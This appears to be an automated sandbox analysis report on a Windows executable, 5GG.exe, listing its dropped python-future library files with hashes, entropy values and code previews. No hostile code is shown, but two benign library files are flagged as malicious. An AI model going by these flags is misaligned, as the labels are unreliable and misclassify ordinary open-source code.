Preview:	o.........e.........................@...sF...d.Z.d.d.l.m.Z...e.j.r_d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.Z.e.j.Z.e.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l m!Z!..e"..Z#e#f.d.d...Z.g.d...Z$d.S.d.d.l%Z%e%j.Z.e%j.Z.e%j.Z.e%j.Z.e%j.Z.e%j.Z.e%j.Z.e%j.Z.e%j.Z.e%j.Z.e%j.Z.e.j&r.e%j.Z.e%j.Z.g.Z$d.S.d.d.l.m.Z...d.d.l.m.Z...d.d.g.Z$d.S.).a.....A module that brings in equivalents of various modified Python 3 builtins.into Py2. Has no effect on Py3...The builtin functions are:..- ``ascii`` (from Py2's future_builtins module).- ``hex`` (from Py2's future_builtins module).- ``oct`` (from Py2's future_builtins module).- ``chr`` (equivalent to ``unichr`` on Py2).- ``input`` (equivalent to ``raw_input`` on Py2).- ``next`` (calls ``__next__`` if it exists, else ``next`` method).- ``open`` (equivalent to io.open on Py2).- ``super`` (backport of Py3's magic zero-argument super() function.- ``round`` (new "Banker's Rounding" behaviour from Py3).- ``max`` (new def

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\builtins\pycache\new_min_max.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1566
Entropy (8bit):	5.453356021944585
Encrypted:	false
SSDEEP:	24:T0JE1tQkqnHEBpE/zXC9wuIFBmwzXn+CbXp/rGcofApx97HWT0PDA4trd9BE2/Yc:T0JE1tkHlvFBJzXn5jpEApxIIntrdrD7
MD5:	B9EC925673EA43F4B8DBEB79F7B3712A
SHA1:	7EBE659C9A91D337690B7F62D67EB5249C9E488C
SHA-256:	E6FA8DB6893703C3E997F999E9373FD598E40AE099C0B7F8CFB6ED04B4A3F73B
SHA-512:	F1A1AD6E491C836E992CA8B8D78E67A95645311CD21895AF184AD7EB1CCDA267D52D1B2AD95979DCBD42247EA0BC3693D122F581BE9CC340D9DD7C77D90A5C6A
Malicious:	false
Preview:	o.........e.........................@...s^...d.d.l.Z.d.d.l.m.Z...e.j.r.d.d.l.m.Z.m.Z...n.d.d.l.m.Z.m.Z...e...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)......N)...utils)...max..minc....................O........t.t.g.\|...R.i.\|.....S...N)...new_min_max.._builtin_min....args..kwargs..r.....^...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\future/builtins/new_min_max.py..newmin...........r....c....................O...r....r....).r......_builtin_maxr....r....r....r......newmax....r....r....c....................O...s,...\|.....D.].\.}.}.\|.t.d.d.g...v.r.t.d.\|.....q.t.\|...d.k.r.t...t.\|...d.k.r.\|...d.t...t.u.r.t...t.\|...d.k.rzt.\|.d.....}.z.t.\|...}.W.n...t.y^......\|...d.t...t.u.rV\|...d.....Y.S.t.d...\|.j.......w.t...\|.g.\|...}.\|...d...d.u.rv\|.\|.\|...d...d...S.\|.\|...S.t.\|...d.k.r.\|...d...d.u.r.\|.\|.\|...d...d...S.\|.\|...S.d.S.).z.. To support the argument "default" introduced in python 3.4 for min and max. :param _builtin_func: builtin min or builtin max. :param args:. :param kwargs:.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\builtins\pycache\newnext.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	2024
Entropy (8bit):	5.256046915556451
Encrypted:	false
SSDEEP:	48:VXkJ8QXJFM/aSRtR3F/EIlgQk6z8vufcXjLPS64/nuwHC7/rKYsQ:V0JdLWDfz8vu0z+6mn6/rKY5
MD5:	31D9EC1A6ACBD13E0FCA69C70018066C
SHA1:	1BCDAAD0B9E132D25CEBFD715270A6778FF244C5
SHA-256:	62AC453585CB3B4869206E0BDF0423459D46BE3027419ED1A07BCE890923CF09
SHA-512:	0B4CD543E09D0A5FE60C3F9088989A566E001D6640BF1ADA7B6301B1D0120DC643F94CD297DE4528FD0592CC9605D6FA10A464A77C47BFDE7C0C0FE10BA02DFA
Malicious:	false
Preview:	o.........e.........................@...s$...d.Z.e.Z.e...Z.e.f.d.d...Z.d.g.Z.d.S.).a.....This module provides a newnext() function in Python 2 that mimics the.behaviour of ``next()`` in Python 3, falling back to Python 2's behaviour for.compatibility if this fails...``newnext(iterator)`` calls the iterator's ``__next__()`` method if it exists. If this.doesn't exist, it falls back to calling a ``next()`` method...For example:.. >>> class Odds(object):. ... def __init__(self, start=1):. ... self.value = start - 2. ... def __next__(self): # note the Py3 interface. ... self.value += 2. ... return self.value. ... def __iter__(self):. ... return self. .... >>> iterator = Odds(). >>> next(iterator). 1. >>> next(iterator). 3..If you are defining your own custom iterator class as above, it is preferable.to explicitly decorate the class with the @implements_iterator decorator from.``future.util

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\builtins\pycache\newround.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	2808
Entropy (8bit):	5.6276013873098565
Encrypted:	false
SSDEEP:	48:F1YRNyaOKqNa2PSHYJWkKaDcz96j1b9KbqSf38T34HpBnlGzss0IHs8:F1YRNyJKLHWpD696j1b9KbqSfc3+lQAW
MD5:	FECDBEAA1B973DB111A087A7CA69F1F8
SHA1:	5039D4A7E4B2CA6E4026B1150637956B5231660F
SHA-256:	557F9A028AE8E3311A2094589F222A98FD1A7E77FF31259C81E6C8ABB6053FFB
SHA-512:	4F014521EC8055BC23C2E9CD869C49C37D72AE4951CED368C13740CD7AC5F1114BD305C860371DCEF2F1E017A24FFE6630161F785FB4597588A5BC262D6F94E5
Malicious:	false
Preview:	o.........ev........................@...sP...d.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.d...Z.d.d...Z.d.g.Z.d.S.).zD.``python-future``: pure Python implementation of Python 3 round().......)...division)...PYPY..PY26..bind_method)...Decimal..ROUND_HALF_EVENNc....................C...s....d.}.\|.d.u.r.d.}.d.}.t.\|.d...r.\|...\|...S.t.d...\|.....}.d.t.t.\|.....v.r't.\|...}.t.\|.t...r/\|.}.n.t.s7t...\|...}.n.t.\|...}.\|.d.k.rHt.\|.\|.....\|...}.n.\|.j.\|.t.d...}.\|.rUt.\|...S.t.\|...S.).a..... See Python 3 documentation: uses Banker's Rounding... Delegates to the __round__ method if for some reason this exists... If not, rounds a number to a given precision in decimal digits (default. 0 digits). This returns an int when called with one argument,. otherwise the same type as the number. ndigits may be negative... See the test_round method in future/tests/test_builtins.py for. examples.. FNTr......__round__..10..numpy)...rounding)...hasattrr....r......repr..type..float..isins

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\builtins\pycache\newsuper.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	3080
Entropy (8bit):	5.475348508341581
Encrypted:	false
SSDEEP:	48:0uHsTX0XFr2OrObgRU4RDUS+P5khehu48l8O2In9qtDl/8DpMGV6Yau8:DSk9rPR14Zk086gn9ul/81MM6M8
MD5:	595F4CF82FAFEA8BE51475C0B3B62697
SHA1:	47B7B79062D77F2F4DFA8E902ECE2335E0171C1B
SHA-256:	A591C23A1F38364DAAAD6895E731C518B4316A1D47B969880F5EAD07075EEB2C
SHA-512:	9B7EA32FC3D06555F1A510415C93B7EDD2DBCB63FAA36B8CD95F2797EACE2738E4B6197057EF5DDB8CD8BE64E7B45EAB7603A4C1A2B5EC6A560BA37C7F72F22E
Malicious:	false
Preview:	o.........e.........................@...sh...d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...e.Z.e...Z.e.e.d.f.d.d...Z.d.d...Z.d.d...Z.d.g.Z.d.S.).ah....This module provides a newsuper() function in Python 2 that mimics the.behaviour of super() in Python 3. It is designed to be used as follows:.. from __future__ import division, absolute_import, print_function. from future.builtins import super..And then, for example:.. class VerboseList(list):. def append(self, item):. print('Adding an item'). super().append(item) # new simpler super() function..Importing this module on Python 3 has no effect...This is based on (i.e. almost identical to) Ryan Kelly's magicsuper.module here:.. https://github.com/rfk/magicsuper.git..Excerpts from Ryan's docstring:.. "Of course, you can still explicitly pass in the arguments if you want. to do something strange. Sometimes you really do want that, e.g. to. skip over some classes in the method resolu

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\builtins\disabled.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2109
Entropy (8bit):	4.752549916044415
Encrypted:	false
SSDEEP:	48:epV3V12kH40ToC5BUXKt3JzrpXgyJhhqzNF9UFN9QDG9/lliyJP3sajpINLMNKXs:w5C50sC5e63rptvhqxDUykdliqPfqMwc
MD5:	9378125C58D186C6BCDE7F7E77D0200E
SHA1:	61E9CAE0FD22B46B682DD6F6DC44EF4B0B1CC5BE
SHA-256:	62CABBE1BB26C27B69ABB7739304C00FB2072AB917CBAEAF2653EC855C205412
SHA-512:	D5E2447D80C9A7466DDE8E87AE0438016A58AF95CA88F75D0B9BA23E30A5A872BAD75094DCA4A45098B405D95D5869A404F1497BE092924FC1F316A667D2902C
Malicious:	false
Preview:	""".This disables builtin functions (and one exception class) which are.removed from Python 3.3...This module is designed to be used like this::.. from future.builtins.disabled import ..This disables the following obsolete Py2 builtin functions::.. apply, cmp, coerce, execfile, file, input, long,. raw_input, reduce, reload, unicode, xrange..We don't hack __builtin__, which is very fragile because it contaminates.imported modules too. Instead, we just create new functions with.the same names as the obsolete builtins from Python 2 which raise.NameError exceptions when called...Note that both ``input()`` and ``raw_input()`` are among the disabled.functions (in this module). Although ``input()`` exists as a builtin in.Python 3, the Python 2 ``input()`` builtin is unsafe to use because it.can lead to shell injection. Therefore we shadow it by default upon ``from.future.builtins.disabled import ``, in case someone forgets to import our.replacement ``input()`` somehow and expects P

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\builtins\iterators.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1396
Entropy (8bit):	4.666195663882088
Encrypted:	false
SSDEEP:	24:2+MPg92q3h/qDC6pS2XrXgBHIPSMOyNRmXHcCU8BYwMFoSEMmFFNOAXTG19WvyH3:P9jYZpNXqHIKYRmXHc9Q/MFzoF1XTF6X
MD5:	DA03E6CBAF0A5DD152C54FE9069D5D0D
SHA1:	90A4B977A089C0EE70697F669AFBEF8E67BDCEB7
SHA-256:	97565AC26DB1F36A2A3AE186B4265113BE848FDF2C3251D0C2EF5F64B2B946B0
SHA-512:	A50A678512FAEFC98286BCD358398215693FD50F1D6BA5D8F65E3C52C8EBDC177F35D1FCA9C850BFCB6E5D42AA80B05A32045CE42B70BB13D0BB7A2735A5077B
Malicious:	false
Preview:	""".This module is designed to be used as follows::.. from future.builtins.iterators import ..And then, for example::.. for i in range(1015):. pass.. for (a, b) in zip(range(1015), range(-1015, 0)):. pass..Note that this is standard Python 3 code, plus some imports that do.nothing on Python 3...The iterators this brings in are::..- ``range``.- ``filter``.- ``map``.- ``zip``..On Python 2, ``range`` is a pure-Python backport of Python 3's ``range``.iterator with slicing support. The other iterators (``filter``, ``map``,.``zip``) are from the ``itertools`` module on Python 2. On Python 3 these.are available in the module namespace but not exported for imports via.__all__ (zero no namespace pollution)...Note that these are also available in the standard library.``future_builtins`` module on Python 2 -- but not Python 3, so using.the standard library version is not portable, nor anywhere near complete.."""..from __future__ import division, absolute_import, pr

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\builtins\misc.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4550
Entropy (8bit):	4.705279193118042
Encrypted:	false
SSDEEP:	96:rOOGeGhGrc2Js5jpEo5nPm17WRPQKTbAqK/n+S:i1lQr5kmo5MWRPQKTbAqK/np
MD5:	43C5FCA6E443FA2EA69462871DA2C318
SHA1:	45DC0F934942BC263857CB2067E418BDEC905460
SHA-256:	85CB6528A594C8DD04A28771838C9240712A0114EE90E2D1E0BE4AE5CE8F5BD9
SHA-512:	C1ABA6FFB5A94799602540D70F5A65DEB2D6E862B62EC1A95605D7A86B88A2B92AD347AE890EDE2DA2963E6EAC17827F372F22B19D5280185CB6EBA5D09E024D
Malicious:	false
Preview:	""".A module that brings in equivalents of various modified Python 3 builtins.into Py2. Has no effect on Py3...The builtin functions are:..- ``ascii`` (from Py2's future_builtins module).- ``hex`` (from Py2's future_builtins module).- ``oct`` (from Py2's future_builtins module).- ``chr`` (equivalent to ``unichr`` on Py2).- ``input`` (equivalent to ``raw_input`` on Py2).- ``next`` (calls ``__next__`` if it exists, else ``next`` method).- ``open`` (equivalent to io.open on Py2).- ``super`` (backport of Py3's magic zero-argument super() function.- ``round`` (new "Banker's Rounding" behaviour from Py3).- ``max`` (new default option from Py3.4).- ``min`` (new default option from Py3.4)..``isinstance`` is also currently exported for backwards compatibility.with v0.8.2, although this has been deprecated since v0.9....input().-------.Like the new ``input()`` function from Python 3 (without eval()), except.that it returns bytes. Equivalent to Python 2's ``raw_input()``...Warning: By default, im

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\builtins\new_min_max.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1757
Entropy (8bit):	4.554044154163077
Encrypted:	false
SSDEEP:	48:Xn7x/OPo2XApx268zMLGMYzl1eky3bklekH3bk8:XnAPo2QT2yLoEkibkUkXbk8
MD5:	64FD9D99D506337B94D8894A9C7CEBCF
SHA1:	5572661BE3A30127C845EB1A6F11CC5FF9C90B2E
SHA-256:	EEA4388A21B8183811CE33F3CF39A0F6975BCB7E4CB6DEB134E3ACCAA1E72066
SHA-512:	F68A27EE3236158A66043E689C325DECF7CE11400593C021263F3B9B1B3F2F6DFF2942857940C98522FD3316AE184AB0E8900EF432083BE5E491336A072C4860
Malicious:	false
Preview:	import itertools..from future import utils.if utils.PY2:. from __builtin__ import max as _builtin_max, min as _builtin_min.else:. from builtins import max as _builtin_max, min as _builtin_min.._SENTINEL = object()...def newmin(args, kwargs):. return new_min_max(_builtin_min, args, *kwargs)...def newmax(args, *kwargs):. return new_min_max(_builtin_max, args, *kwargs)...def new_min_max(_builtin_func, args, **kwargs):. """. To support the argument "default" introduced in python 3.4 for min and max. :param _builtin_func: builtin min or builtin max. :param args:. :param kwargs:. :return: returns the min or max based on the arguments passed. """.. for key, _ in kwargs.items():. if key not in set(['key', 'default']):. raise TypeError('Illegal argument %s', key).. if len(args) == 0:. raise TypeError.. if len(args) != 1 and kwargs.get('default', _SENTINEL) is not _SENTINEL:. raise TypeError.. if len(args) ==

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\builtins\newnext.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2009
Entropy (8bit):	4.444849491811085
Encrypted:	false
SSDEEP:	48:yFXkJ8QXJFM/aSRtR3F/EIlgQk6z8vufcXfnPS64/nu8h6TO+bY4q:yF0JdLWDfz8vu0Pq6mtgi
MD5:	2AA16242A24B9D1B07796A94A2D88221
SHA1:	B8806BEF9FFA655979FFCC7BECCB999D221FB005
SHA-256:	A315C1F1B697A89BF6F581B8D1A092F545E4F7339BCA83A3C9AF0127B35D0493
SHA-512:	8B53B5ADB2C044E3FF24E2FAB81BD3BD6CC6E2C787AF86564F720F4EB62B5140E9B12FD5982057CF8F6F280221FA87BE8FD2F810E4FEE5D5BE0EC6536D1F7951
Malicious:	false
Preview:	'''.This module provides a newnext() function in Python 2 that mimics the.behaviour of ``next()`` in Python 3, falling back to Python 2's behaviour for.compatibility if this fails...``newnext(iterator)`` calls the iterator's ``__next__()`` method if it exists. If this.doesn't exist, it falls back to calling a ``next()`` method...For example:.. >>> class Odds(object):. ... def __init__(self, start=1):. ... self.value = start - 2. ... def __next__(self): # note the Py3 interface. ... self.value += 2. ... return self.value. ... def __iter__(self):. ... return self. .... >>> iterator = Odds(). >>> next(iterator). 1. >>> next(iterator). 3..If you are defining your own custom iterator class as above, it is preferable.to explicitly decorate the class with the @implements_iterator decorator from.``future.utils`` as follows:.. >>> @implements_iterator. ... class Odds(object):. ...

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\builtins\newround.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3190
Entropy (8bit):	4.8297703840830515
Encrypted:	false
SSDEEP:	96:/NyYYfI9mBAvUfBko696j1b9/3iZRPZhvCzy1:4IwLfB16ojDu8y1
MD5:	880B11D5A91D1CE063817945849C3844
SHA1:	7B0F13983CBAFAF4404BFDE76CB95C6E7EA57ECF
SHA-256:	ED84D68C181F200BD2125EE12C25A07A6863A9D2ADCE885B3B5F32304ACACF81
SHA-512:	48A64C85E1FE580D7457CF06059203D6AC8581E5D633EF5A5C4DB1A2D074D1F5D8C4CF3B85F351C682083A3C14400BB3C72810F4B11FFAFA98D649C807A92DAB
Malicious:	true
Preview:	""".``python-future``: pure Python implementation of Python 3 round().."""..from __future__ import division.from future.utils import PYPY, PY26, bind_method..# Use the decimal module for simplicity of implementation (and.# hopefully correctness)..from decimal import Decimal, ROUND_HALF_EVEN...def newround(number, ndigits=None):. """. See Python 3 documentation: uses Banker's Rounding... Delegates to the __round__ method if for some reason this exists... If not, rounds a number to a given precision in decimal digits (default. 0 digits). This returns an int when called with one argument,. otherwise the same type as the number. ndigits may be negative... See the test_round method in future/tests/test_builtins.py for. examples.. """. return_int = False. if ndigits is None:. return_int = True. ndigits = 0. if hasattr(number, '__round__'):. return number.__round__(ndigits).. exponent = Decimal('10') ** (-ndigits).. # Work around

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\builtins\newsuper.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3849
Entropy (8bit):	4.4513904671868865
Encrypted:	false
SSDEEP:	96:yASk9rPR14Zk29B4jkKRk5OEXRTLsQrU0IJ4:XVTkZf9BukKRkIUoJ4
MD5:	75F7C6743465BFD45BAFC0474736605F
SHA1:	D94F5C8C3AC0A26F84F3367FB48BC57E84F68087
SHA-256:	DD882AABEF25DF087D80DBC66D6E670224D84F95B1C6048A37A461363EEA8BBE
SHA-512:	E6B6004C27A0FB858598A854AE0626CAE0F83F04D516AC9C43C83F6FB2DECA968585449BF33FBAC2146C6938DF2414208BE7F7FB8005C2D679C8601406E7089D
Malicious:	true
Preview:	'''.This module provides a newsuper() function in Python 2 that mimics the.behaviour of super() in Python 3. It is designed to be used as follows:.. from __future__ import division, absolute_import, print_function. from future.builtins import super..And then, for example:.. class VerboseList(list):. def append(self, item):. print('Adding an item'). super().append(item) # new simpler super() function..Importing this module on Python 3 has no effect...This is based on (i.e. almost identical to) Ryan Kelly's magicsuper.module here:.. https://github.com/rfk/magicsuper.git..Excerpts from Ryan's docstring:.. "Of course, you can still explicitly pass in the arguments if you want. to do something strange. Sometimes you really do want that, e.g. to. skip over some classes in the method resolution order... "How does it work? By inspecting the calling frame to determine the. function object being executed and the object on which it's being.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\moves\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	220
Entropy (8bit):	4.497720796176058
Encrypted:	false
SSDEEP:	3:SQCqXFVvOkE6MRm6NKXRGnHRRK6DEQv3B8NXNQdeHri6hQOHIkyTFLLGvFFF2oQv:SQX3OoMABCRRKLXNaz6mOHM22oQmOHiu
MD5:	5ABD7A494AA1D3A12731536EF2C85D38
SHA1:	DFE17CE1D75911CB09DBF425223F31C0315FD7E9
SHA-256:	32C016EBD5E9FDFA94A38C4E0EE7DC28CE8065FFA8CC76B3E3858F65DB031490
SHA-512:	BA9D9ECE51F1FA6E5228F81F9B4444AAACA4F1D4209CF4C72042DC6DB44E03799B247EE4EE2109CE8E026023E709C285698175E70430654C3D5FF7056A0826E2
Malicious:	false
Preview:	# future.moves package.from __future__ import absolute_import.import sys.__future_module__ = True.from future.standard_library import import_top_level_modules..if sys.version_info[0] >= 3:. import_top_level_modules().

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\moves\pycache\init.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	396
Entropy (8bit):	5.26850838444664
Encrypted:	false
SSDEEP:	6:y/geRsZle9c9g6TQbujiRh/OHu/QE9rCclnukDHSC5EgTdArpQDJpk7:Cge+T9LTUujiDzBgunXHS6EgnDJpI
MD5:	E49B6D9E638AFA374445A1848206B501
SHA1:	AC4F99C33CE378570CA872B98F10A5084F90AE75
SHA-256:	E489B167DE19AA05D27534E19D2077AA8853BC6020C5DD941568A288397F4AA6
SHA-512:	570974E9D74E2D3CD056E267014A9BF0A42F943AD1A0557533C61EBE047052E5DAE1AEF12528FFEEE0A1A5E92A19E21380B35E3CDB7FC6B825236E1E53772AF0
Malicious:	false
Preview:	o.........e.........................@...s@...d.d.l.m.Z...d.d.l.Z.d.Z.d.d.l.m.Z...e.j.d...d.k.r.e.....d.S.d.S.)......)...absolute_importNT)...import_top_level_modules.....)...__future__r......sysZ.__future_module__Z.future.standard_libraryr......version_info..r....r.....X...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\future/moves/__init__.py..<module>....s..................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\moves\pycache\_dummy_thread.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.226257727523383
Encrypted:	false
SSDEEP:	6:y/gaelbskAacmqCX/DDE4bujiR5PnOZpMJQmavRy/h6Rv41rBMDHSC5EgTdArQzj:ChelQT5mqCXk4bujiUpIQ5vCh6v41oHF
MD5:	A957990DE9B8638841B6245C7F7952E0
SHA1:	16E051432AF8398AD095C4DC9B0C72D92361DDED
SHA-256:	F2F9982769F43DFA2E1863999A7D6052689DD6725314CA35A19D79A3EA8F3DEC
SHA-512:	ADEB3D8C6E80E9A254270C7FE72F6E1CEBAE084F19C6C9BB28D8F79CA476229485C03AB3A3976C2DFA37784FFB4927B5C94A7960FA27335EE7DF27B6EBC14A23
Malicious:	false
Preview:	o.........e.........................@...s8...d.d.l.m.Z...d.d.l.m.Z...e.r.d.d.l.T.d.S.d.Z.d.d.l.T.d.S.)......)...absolute_import)...PY3)...*TN)...__future__r....Z.future.utilsr......_dummy_threadZ.__future_module__..dummy_thread..r....r.....]...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\future/moves/_dummy_thread.py..<module>....s................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\moves\pycache\_markupbase.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	363
Entropy (8bit):	5.2639230960729035
Encrypted:	false
SSDEEP:	6:y/s/CelbskAacmqCX/DDE4bujiR5PnOZpMJQm1z1TjkDHSC5EgTdArzZIOukvkn:CMCelQT5mqCXk4bujiUpIQW9+HS6EgX/
MD5:	3943AF29C05D1BB5DA6CAE7EB284B21D
SHA1:	216B240A9049007622C8698AF8DA8FCDCD636A67
SHA-256:	5A85B814568F51199279F9AF2DAC146B4150D1CEF2642D66692C4C67904106E1
SHA-512:	C96EB9F764CE86DA55AE964852BA5F95D38C6CEB0F07EB7489B7B4E8C12A57EAF0FE622C5DAD8BFD6367BD3CDB14DF71B8EABAB44F2AF60A881F4CF6BE0D0794
Malicious:	false
Preview:	o.........e.........................@...s8...d.d.l.m.Z...d.d.l.m.Z...e.r.d.d.l.T.d.S.d.Z.d.d.l.T.d.S.)......)...absolute_import)...PY3)...*TN)...__future__r....Z.future.utilsr......_markupbaseZ.__future_module__..markupbase..r....r.....[...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\future/moves/_markupbase.py..<module>....s................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\moves\pycache\_thread.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.233074946102458
Encrypted:	false
SSDEEP:	6:y/EaelbskAacmqCX/DDE4bujiR5PnOZpMJQmpNXb4DO1hBMDHSC5EgTdArfTOuk8:ClelQT5mqCXk4bujiUpIQssDO/BSHS6S
MD5:	65A785D1DD94E1A80303FA05C872BE67
SHA1:	EF6FAB9D2BA4E52CF82E1D0851DBEF52D9BFF046
SHA-256:	F13EF3873F99AA8D717D8A16F5F2437B43918912F876036B1C245D079F739DDA
SHA-512:	A285D40410A5AFC5C8F8DDB85C04E17279B816E5E030A2DA1A04E8ECC84F56BD738C5C4F1668A4F7FA8556679E8C1F1DC607F515DB3BF1C352DA051419FD7936
Malicious:	false
Preview:	o.........e.........................@...s8...d.d.l.m.Z...d.d.l.m.Z...e.r.d.d.l.T.d.S.d.Z.d.d.l.T.d.S.)......)...absolute_import)...PY3)...*TN)...__future__r....Z.future.utilsr......_threadZ.__future_module__..thread..r....r.....W...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\future/moves/_thread.py..<module>....s................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\moves\pycache\builtins.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	385
Entropy (8bit):	5.276734145781465
Encrypted:	false
SSDEEP:	12:CbD+T5mqCX2ybujippIQcYl+1HS6EgRZd:gqi3uGAQHWEed
MD5:	D0B4746119D1010C61D42E3AFFE3355C
SHA1:	46182D5611417A4FD5A9924F9C89479AD418EEAF
SHA-256:	B2E839FA9244D835869A52623F6E695B63DC1B9700DC80861EB5AAAD21406186
SHA-512:	F80A279144596CFCAF5B1200D51423ACD6AEFCA34BB49E97CD310B68C73B7E8AB634374CB79C3EE0EEE0E2C49CA2A4C38CBEA8A6973342CE2B56C98C95231FFC
Malicious:	false
Preview:	o.........e.........................@...s@...d.d.l.m.Z...d.d.l.m.Z...e.r.d.d.l.T.d.S.d.Z.d.d.l.T.d.d.l.T.d.S.)......)...absolute_import)...PY3)...*TN)...__future__r....Z.future.utilsr......builtinsZ.__future_module__..__builtin__Z.future.builtins..r....r.....X...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\future/moves/builtins.py..<module>....s..................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\moves\pycache\collections.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	644
Entropy (8bit):	5.403276476566132
Encrypted:	false
SSDEEP:	12:CxlDr/QYSo/oglcOujid2oqoSiqSoY166EIQYHliYHV+v+HS6EgJ/cCYek4B:E3rogl3uG09Y1hQYFiEPEIYekC
MD5:	D71810FE02E6D3FD0DCD9C10688E9F4D
SHA1:	70AFFB1DDB945C719A0A1BF1205E9E80AD35C494
SHA-256:	03267D3CCB545E86793132DE7AC5C85620FCA6B4F839789D07D6EFCECA507CA6
SHA-512:	BFB4616225A078FA923E496503EEB5E93AF65AD5FF909E7176E9BF8F3CB40D93D1E7E0BD37AF55E9AE97409D1D67D787224361A51CA974052C1F9CB18E33FA03
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z.m.Z...d.Z.d.d.l.T.e.r,d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.r6d.d.l.m.Z.m.Z...e.j.d.k.rEd.d.l.m.Z.m.Z...d.S.d.S.)......)...absolute_importN)...PY2..PY26T)...*)...UserDict)...UserList)...UserString)...OrderedDict..Counter)......r....)...ChainMap.._count_elements)...__future__r......sysZ.future.utilsr....r....Z.__future_module__..collectionsr....r....r....Z.future.backports.miscr....r......version_infor....r......r....r.....[...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\future/moves/collections.py..<module>....s................................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\moves\pycache\configparser.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.235463275981337
Encrypted:	false
SSDEEP:	6:y/K/eSkAacmaZlujiRQTciRZpMJQm7mQDUDCCBDHSC5EgTdArGX+dE4n:CaeST5maPujimcapIQYtaCkHS6EgBX+B
MD5:	AF8CE78B452535835ED2CB02A96C90EE
SHA1:	2A5B0F208B2FF6B57B7413A75E2EB38B9C76E76B
SHA-256:	F12D14986CC2477F71C521F9D0862AD5226838CC7D4949ECB719895C7595AFD8
SHA-512:	5055CCC02EDC78ECCCD70B8F591D22D40B40E2012ECCE16EEF030A9FAD1CAF73C6E25EE5FFFFE81D8FEC2A47DE26224BCC44BF5732CB24558B40B2146A9BF79D
Malicious:	false
